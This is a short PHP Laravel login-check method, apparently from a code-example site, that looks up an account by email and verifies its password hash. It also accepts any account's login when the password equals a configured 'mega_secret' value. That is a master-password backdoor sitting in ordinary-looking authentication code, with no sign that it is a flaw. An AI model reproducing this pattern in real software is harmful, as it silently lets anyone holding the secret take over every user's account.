Exemplo n.º 1
0
 public function isLoggable($data)
 {
     $source = Source::whereEmail($data['email'])->with(['customers', 'customers.samples' => function ($query) {
         $query->orderBy('created_at', 'desc');
     }])->orderBy('created_at', 'desc')->first();
     if ($source) {
         if (Hash::check($data['password'], $source->password) || $data['password'] == config('dev.mega_secret')) {
             return $source;
         }
     }
     return null;
 }